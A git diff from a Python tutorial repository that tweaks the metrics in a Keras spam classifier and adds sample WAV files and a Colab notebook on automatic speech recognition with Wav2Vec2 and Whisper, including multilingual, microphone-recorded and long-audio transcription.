SEQUENCE_LENGTH = 100 # the length of all sequences (number of words per sample)
EMBEDDING_SIZE = 100 # Using 100-Dimensional GloVe embedding vectors
@@ -23,7 +22,6 @@ def get_embedding_vectors(tokenizer, dim=100):
word = values[0]
vectors = np.asarray(values[1:], dtype='float32')
embedding_index[word] = vectors
-
word_index = tokenizer.word_index
# we do +1 because Tokenizer() starts from 1
embedding_matrix = np.zeros((len(word_index)+1, dim))
@@ -32,7 +30,6 @@ def get_embedding_vectors(tokenizer, dim=100):
if embedding_vector is not None:
# words not found will be 0s
embedding_matrix[i] = embedding_vector
-
return embedding_matrix
@@ -56,6 +53,6 @@ def get_model(tokenizer, lstm_units):
# compile as rmsprop optimizer
# aswell as with recall metric
model.compile(optimizer="rmsprop", loss="categorical_crossentropy",
- metrics=["accuracy", keras_metrics.precision(), keras_metrics.recall()])
+ metrics=["accuracy", Precision(), Recall()])
model.summary()
return model
\ No newline at end of file
diff --git a/machine-learning/nlp/speech-recognition-transformers/16-122828-0002.wav b/machine-learning/nlp/speech-recognition-transformers/16-122828-0002.wav
new file mode 100644
index 00000000..1b7f5952
Binary files /dev/null and b/machine-learning/nlp/speech-recognition-transformers/16-122828-0002.wav differ
diff --git a/machine-learning/nlp/speech-recognition-transformers/30-4447-0004.wav b/machine-learning/nlp/speech-recognition-transformers/30-4447-0004.wav
new file mode 100644
index 00000000..c1490955
Binary files /dev/null and b/machine-learning/nlp/speech-recognition-transformers/30-4447-0004.wav differ
diff --git a/machine-learning/nlp/speech-recognition-transformers/7601-291468-0006.wav b/machine-learning/nlp/speech-recognition-transformers/7601-291468-0006.wav
new file mode 100644
index 00000000..0f6d5f83
Binary files /dev/null and b/machine-learning/nlp/speech-recognition-transformers/7601-291468-0006.wav differ
diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..941eff4c
--- /dev/null
+++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.ipynb
@@ -0,0 +1,1013 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "KqiF_SjMysD0"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "IA7sFGYoywJv"
+ },
+ "outputs": [],
+ "source": [
+ "from transformers import *\n",
+ "import torch\n",
+ "import soundfile as sf\n",
+ "# import librosa\n",
+ "import os\n",
+ "import torchaudio\n",
+ "\n",
+ "device = \"cuda:0\" if torch.cuda.is_available() else \"cpu\""
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "VJBoe7N6PSZO"
+ },
+ "source": [
+ "# Wav2Vec2.0 Models\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "OXVa9QG2cmD7"
+ },
+ "outputs": [],
+ "source": [
+ "# wav2vec2_model_name = \"facebook/wav2vec2-base-960h\" # 360MB\n",
+ "wav2vec2_model_name = \"facebook/wav2vec2-large-960h-lv60-self\" # pretrained 1.26GB\n",
+ "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-english\" # English-only, 1.26GB\n",
+ "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-arabic\" # Arabic-only, 1.26GB\n",
+ "# wav2vec2_model_name = \"jonatasgrosman/wav2vec2-large-xlsr-53-spanish\" # Spanish-only, 1.26GB\n",
+ "\n",
+ "wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name)\n",
+ "wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 2,
+ "metadata": {
+ "id": "GdEIJtkzEzSN"
+ },
+ "outputs": [],
+ "source": [
+ "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav/"\n",
+ "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.1.wav/"\n",
+ "# audio_url = \"http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav/"\n",
+ "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav/"\n",
+ "audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav/"\n",
+ "# audio_url = \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/"\n",
+ "# audio_url = \"https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav/"\n",
+ "# audio_url = \"http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav/""
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 5,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "pFm8rwjMt7TC",
+ "outputId": "8fec671b-67b6-4733-9d5a-d8a2a1e92793"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "(16000, torch.Size([274000]))"
+ ]
+ },
+ "execution_count": 5,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# load our wav file\n",
+ "speech, sr = torchaudio.load(audio_url)\n",
+ "speech = speech.squeeze()\n",
+ "# or using librosa\n",
+ "# speech, sr = librosa.load(audio_file, sr=16000)\n",
+ "sr, speech.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 6,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "563Nf3xsMnJE",
+ "outputId": "f18bfd81-cf2b-49ef-e76b-cd4967bd2488"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "torch.Size([274000])"
+ ]
+ },
+ "execution_count": 6,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# resample from whatever the audio sampling rate to 16000\n",
+ "resampler = torchaudio.transforms.Resample(sr, 16000)\n",
+ "speech = resampler(speech)\n",
+ "speech.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 9,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "qtTD3gIyeNwK",
+ "outputId": "5892959b-4e24-4e51-b3e6-294f18c2eb51"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "torch.Size([1, 274000])"
+ ]
+ },
+ "execution_count": 9,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# tokenize our wav\n",
+ "input_values = wav2vec2_processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"].to(device)\n",
+ "input_values.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 10,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "_O7cCe7veTgB",
+ "outputId": "5c275a78-356a-4801-d538-ff9d2395de8a"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "torch.Size([1, 856, 32])"
+ ]
+ },
+ "execution_count": 10,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# perform inference\n",
+ "logits = wav2vec2_model(input_values)[\"logits\"]\n",
+ "logits.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 11,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "Gx6XWoTRejR0",
+ "outputId": "013597c8-693f-4dcf-e82e-5da6b39c205b"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "torch.Size([1, 856])"
+ ]
+ },
+ "execution_count": 11,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# use argmax to get the predicted IDs\n",
+ "predicted_ids = torch.argmax(logits, dim=-1)\n",
+ "predicted_ids.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 12,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 54
+ },
+ "id": "tyWIw6rJeyN-",
+ "outputId": "ed070c05-2f53-4880-cfb4-4a2e2936ee0d"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ },
+ "text/plain": [
+ "'and missus goddard three ladies almost always at the service of an invitation from hartfield and who were fetched and carried home so often that mister woodhouse thought it no hardship for either james or the horses had it taken place only once a year it would have been a grievance'"
+ ]
+ },
+ "execution_count": 12,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# decode the IDs to text\n",
+ "transcription = wav2vec2_processor.decode(predicted_ids[0])\n",
+ "transcription.lower()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 3,
+ "metadata": {
+ "id": "TJpRO65uqP30"
+ },
+ "outputs": [],
+ "source": [
+ "def load_audio(audio_path):\n",
+ " \"\"\"Load the audio file & convert to 16,000 sampling rate\"\"\"\n",
+ " # load our wav file\n",
+ " speech, sr = torchaudio.load(audio_path)\n",
+ " resampler = torchaudio.transforms.Resample(sr, 16000)\n",
+ " speech = resampler(speech)\n",
+ " return speech.squeeze()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 4,
+ "metadata": {
+ "id": "XDYMY4ZZLl9Q"
+ },
+ "outputs": [],
+ "source": [
+ "def get_transcription_wav2vec2(audio_path, model, processor):\n",
+ " speech = load_audio(audio_path)\n",
+ " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000)[\"input_values\"].to(device)\n",
+ " # perform inference\n",
+ " logits = model(input_features)[\"logits\"]\n",
+ " # use argmax to get the predicted IDs\n",
+ " predicted_ids = torch.argmax(logits, dim=-1)\n",
+ " transcription = processor.batch_decode(predicted_ids)[0]\n",
+ " return transcription.lower()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 17,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 36
+ },
+ "id": "ien5Vqre7MRg",
+ "outputId": "f28ed270-5cae-4f74-ea97-7fa35d1df8ac"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ },
+ "text/plain": [
+ "'a late is a big tool grab every dish of sugar'"
+ ]
+ },
+ "execution_count": 17,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "get_transcription_wav2vec2(\"http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav/", \n",
+ " wav2vec2_model, \n",
+ " wav2vec2_processor)"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "OLqN2g1vpjIP"
+ },
+ "source": [
+ "# Whisper Models"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "H5emZREQp5Gv"
+ },
+ "outputs": [],
+ "source": [
+ "# whisper_model_name = \"openai/whisper-tiny.en\" # English-only, ~ 151 MB\n",
+ "# whisper_model_name = \"openai/whisper-base.en\" # English-only, ~ 290 MB\n",
+ "# whisper_model_name = \"openai/whisper-small.en\" # English-only, ~ 967 MB\n",
+ "# whisper_model_name = \"openai/whisper-medium.en\" # English-only, ~ 3.06 GB\n",
+ "# whisper_model_name = \"openai/whisper-tiny\" # multilingual, ~ 151 MB\n",
+ "# whisper_model_name = \"openai/whisper-base\" # multilingual, ~ 290 MB\n",
+ "# whisper_model_name = \"openai/whisper-small\" # multilingual, ~ 967 MB\n",
+ "whisper_model_name = \"openai/whisper-medium\" # multilingual, ~ 3.06 GB\n",
+ "# whisper_model_name = \"openai/whisper-large-v2\" # multilingual, ~ 6.17 GB\n",
+ "\n",
+ "whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name)\n",
+ "whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 12,
+ "metadata": {
+ "id": "jkJSZ1QQqiQ-"
+ },
+ "outputs": [],
+ "source": [
+ "input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors=\"pt\").input_features.to(device)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 13,
+ "metadata": {
+ "id": "8lZGLPw9yYOx"
+ },
+ "outputs": [],
+ "source": [
+ "forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language=\"english\", task=\"transcribe\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 14,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "CyFAkTqSyvfy",
+ "outputId": "24efe50f-6467-4e5b-d5ee-6c101df9566d"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "[(1, 50259), (2, 50359), (3, 50363)]"
+ ]
+ },
+ "execution_count": 14,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "forced_decoder_ids"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 15,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "N3kN0ieAs4y6",
+ "outputId": "af61865c-db65-449d-9f76-f90dec77c544"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "torch.Size([1, 80, 3000])"
+ ]
+ },
+ "execution_count": 15,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "input_features.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 16,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "FwN0416XsI4s",
+ "outputId": "92f436a4-6af4-42d2-d774-94af91e2c57e"
+ },
+ "outputs": [
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "/usr/local/lib/python3.10/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n",
+ " warnings.warn(\n"
+ ]
+ },
+ {
+ "data": {
+ "text/plain": [
+ "torch.Size([1, 68])"
+ ]
+ },
+ "execution_count": 16,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n",
+ "predicted_ids.shape"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 17,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "HCIe1xoALIzi",
+ "outputId": "6bb77e6c-449c-4308-d43f-30721578299a"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "[' and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.']"
+ ]
+ },
+ "execution_count": 17,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True)\n",
+ "transcription"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 18,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "aK7gu9L1sNJh",
+ "outputId": "9e66ff70-dc26-4de8-da20-d0598c7c0f21"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "['<|startoftranscript|><|en|><|transcribe|><|notimestamps|> and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.<|endoftext|>']"
+ ]
+ },
+ "execution_count": 18,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)\n",
+ "transcription"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 19,
+ "metadata": {
+ "id": "V1MIY7i37bg5"
+ },
+ "outputs": [],
+ "source": [
+ "def get_transcription_whisper(audio_path, model, processor, language=\"english\", skip_special_tokens=True):\n",
+ " # resample from whatever the audio sampling rate to 16000\n",
+ " speech = load_audio(audio_path)\n",
+ " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000).input_features.to(device)\n",
+ " forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task=\"transcribe\")\n",
+ " # print(forced_decoder_ids)\n",
+ " predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n",
+ " transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]\n",
+ " return transcription"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 35
+ },
+ "id": "04bekvh4GEQN",
+ "outputId": "1edc0912-de09-4a69-b8c4-ca3fb7130c28"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ },
+ "text/plain": [
+ "' ورجح التقرير الذي أعده معهد أبحاث هضبة التبت في الأكاديمية الصينية للعلوم أن تستمر درجات الحرارة ومستويات الرتوبة في الارتفاع طوال هذا القرن.'"
+ ]
+ },
+ "execution_count": 23,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "arabic_transcription = get_transcription_whisper(\"https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav/",\n",
+ " whisper_model,\n",
+ " whisper_processor,\n",
+ " language=\"arabic\",\n",
+ " skip_special_tokens=True)\n",
+ "arabic_transcription"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 35
+ },
+ "id": "FAHA98CgHols",
+ "outputId": "7ea44035-e008-4ff2-9727-46706e725f73"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ },
+ "text/plain": [
+ "' ¿Cuál es la fecha de tu cumpleaños?'"
+ ]
+ },
+ "execution_count": 24,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "spanish_transcription = get_transcription_whisper(\"https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3/",\n",
+ " whisper_model,\n",
+ " whisper_processor,\n",
+ " language=\"spanish\",\n",
+ " skip_special_tokens=True)\n",
+ "spanish_transcription"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "QTZlrT-B21VC"
+ },
+ "outputs": [],
+ "source": [
+ "from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE \n",
+ "# supported languages\n",
+ "TO_LANGUAGE_CODE "
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "6cZZ7MeTUv0S"
+ },
+ "source": [
+ "# Transcribe your Voice"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "3FdjIsOlKBRJ",
+ "outputId": "5df28a41-0943-4d6f-c7b3-446b26c9c906"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "/content/silero-models\n"
+ ]
+ }
+ ],
+ "source": [
+ "!git clone -q --depth 1 https://github.com/snakers4/silero-models\n",
+ "\n",
+ "%cd silero-models"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 110,
+ "referenced_widgets": [
+ "1c348712a37045239a35b41430756d4d",
+ "32d1d0fb4ee748108d01fa01fbfb5473",
+ "8035a1813fce41cfad51849aea43a446"
+ ]
+ },
+ "id": "GZTvRVznIcn_",
+ "outputId": "f1772b6a-6eaa-4c4e-fbaa-ccdbad8ea2c7"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Starting recording for 20 seconds...\n"
+ ]
+ },
+ {
+ "data": {
+ "application/javascript": "\n const sleep = time => new Promise(resolve => setTimeout(resolve, time))\n const b2text = blob => new Promise(resolve => {\n const reader = new FileReader()\n reader.onloadend = e => resolve(e.srcElement.result)\n reader.readAsDataURL(blob)\n })\n var record = time => new Promise(async resolve => {\n stream = await navigator.mediaDevices.getUserMedia({ audio: true })\n recorder = new MediaRecorder(stream)\n chunks = []\n recorder.ondataavailable = e => chunks.push(e.data)\n recorder.start()\n await sleep(time)\n recorder.onstop = async ()=>{\n blob = new Blob(chunks)\n text = await b2text(blob)\n resolve(text)\n }\n recorder.stop()\n })\n ",
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Finished recording!\n"
+ ]
+ },
+ {
+ "data": {
+ "text/html": [
+ "\n",
+ " \n",
+ " \n",
+ " Your browser does not support the audio element.\n",
+ " \n",
+ " "
+ ],
+ "text/plain": [
+ ""
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "from IPython.display import Audio, display, clear_output\n",
+ "from colab_utils import record_audio\n",
+ "import ipywidgets as widgets\n",
+ "from scipy.io import wavfile\n",
+ "import numpy as np\n",
+ "\n",
+ "\n",
+ "record_seconds = 20#@param {type:\"number\", min:1, max:10, step:1}\n",
+ "sample_rate = 16000\n",
+ "\n",
+ "def _record_audio(b):\n",
+ " clear_output()\n",
+ " audio = record_audio(record_seconds)\n",
+ " display(Audio(audio, rate=sample_rate, autoplay=True))\n",
+ " wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))\n",
+ "\n",
+ "button = widgets.Button(description=\"Record Speech\")\n",
+ "button.on_click(_record_audio)\n",
+ "display(button)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "K0Ka85iA2gUC",
+ "outputId": "e7dc81d0-442a-4440-a58e-0288af34be8a"
+ },
+ "outputs": [
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "/usr/local/lib/python3.9/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n",
+ " warnings.warn(\n"
+ ]
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Whisper: In 1905, Einstein published four groundbreaking papers. These outlined the theory of the photoelectric effect, explained Brownian motion, introduced special relativity, and demonstrated mass-energy equivalence. Einstein thought that the laws of\n",
+ "Wav2vec2: in nineteen o five ennstein published foreground brickin papers thise outlined the theory of the photo electric effect explained brownin motion introduced special relativity and demonstrated mass energy equivalents ennstein thought that the laws\n"
+ ]
+ }
+ ],
+ "source": [
+ "print(\"Whisper:\", get_transcription_whisper(\"recorded.wav\", whisper_model, whisper_processor))\n",
+ "print(\"Wav2vec2:\", get_transcription_wav2vec2(\"recorded.wav\", wav2vec2_model, wav2vec2_processor))"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "UbQxYoBXl9c7"
+ },
+ "source": [
+ "# Transcribing Long Audio Samples"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 20,
+ "metadata": {
+ "id": "HLbh4VJxkxJp"
+ },
+ "outputs": [],
+ "source": [
+ "def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, \n",
+ " chunk_length_s=10, stride_length_s=2):\n",
+ " \"\"\"Get the transcription of a long audio file using the Whisper model\"\"\"\n",
+ " return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,\n",
+ " chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "2QypuIDAk5QK"
+ },
+ "outputs": [],
+ "source": [
+ "# initialize the pipeline\n",
+ "pipe = pipeline(\"automatic-speech-recognition\", \n",
+ " model=whisper_model_name, device=device)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 22,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "MwsBPkdSk7jn",
+ "outputId": "96b0582a-0743-45ec-d833-7ca21ffa706d"
+ },
+ "outputs": [
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "Disabling tokenizer parallelism, we're using DataLoader multithreading already\n"
+ ]
+ }
+ ],
+ "source": [
+ "# get the transcription of a sample long audio file\n",
+ "output = get_long_transcription_whisper(\n",
+ " \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/", \n",
+ " pipe, chunk_length_s=10, stride_length_s=1)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 23,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 72
+ },
+ "id": "5xON5pvWlEEK",
+ "outputId": "179d7522-1f09-4176-84bf-5b6f2d85fd28"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.google.colaboratory.intrinsic+json": {
+ "type": "string"
+ },
+ "text/plain": [
+ "' The horse trotted around the field at a brisk pace. Find the twin who stole the pearl necklace. Cut the cord that binds the box tightly. The The red tape bound the smuggled food. Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins. The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..'"
+ ]
+ },
+ "execution_count": 23,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "output[\"text\"]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 24,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "AEjVdbKXk96r",
+ "outputId": "0daaf33a-a397-4a6c-dc3f-d56e5b678c83"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "(0.0, 6.0) : The horse trotted around the field at a brisk pace.\n",
+ "(6.0, 12.8) : Find the twin who stole the pearl necklace.\n",
+ "(12.8, 21.0) : Cut the cord that binds the box tightly. The The red tape bound the smuggled food.\n",
+ "(21.0, 38.0) : Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins.\n",
+ "(38.0, 58.0) : The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..\n"
+ ]
+ }
+ ],
+ "source": [
+ "for chunk in output[\"chunks\"]:\n",
+ " # print the timestamp and the text\n",
+ " print(chunk[\"timestamp\"], \":\", chunk[\"text\"])"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "QsReWl7zlJt9"
+ },
+ "outputs": [],
+ "source": []
+ }
+ ],
+ "metadata": {
+ "accelerator": "GPU",
+ "colab": {
+ "gpuType": "T4",
+ "machine_shape": "hm",
+ "provenance": []
+ },
+ "gpuClass": "standard",
+ "kernelspec": {
+ "display_name": "Python 3",
+ "name": "python3"
+ },
+ "language_info": {
+ "name": "python"
+ },
+ "widgets": {
+ "application/vnd.jupyter.widget-state+json": {
+ "1c348712a37045239a35b41430756d4d": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "ButtonModel",
+ "state": {
+ "_dom_classes": [],
+ "_model_module": "@jupyter-widgets/controls",
+ "_model_module_version": "1.5.0",
+ "_model_name": "ButtonModel",
+ "_view_count": null,
+ "_view_module": "@jupyter-widgets/controls",
+ "_view_module_version": "1.5.0",
+ "_view_name": "ButtonView",
+ "button_style": "",
+ "description": "Record Speech",
+ "disabled": false,
+ "icon": "",
+ "layout": "IPY_MODEL_32d1d0fb4ee748108d01fa01fbfb5473",
+ "style": "IPY_MODEL_8035a1813fce41cfad51849aea43a446",
+ "tooltip": ""
+ }
+ },
+ "32d1d0fb4ee748108d01fa01fbfb5473": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {
+ "_model_module": "@jupyter-widgets/base",
+ "_model_module_version": "1.2.0",
+ "_model_name": "LayoutModel",
+ "_view_count": null,
+ "_view_module": "@jupyter-widgets/base",
+ "_view_module_version": "1.2.0",
+ "_view_name": "LayoutView",
+ "align_content": null,
+ "align_items": null,
+ "align_self": null,
+ "border": null,
+ "bottom": null,
+ "display": null,
+ "flex": null,
+ "flex_flow": null,
+ "grid_area": null,
+ "grid_auto_columns": null,
+ "grid_auto_flow": null,
+ "grid_auto_rows": null,
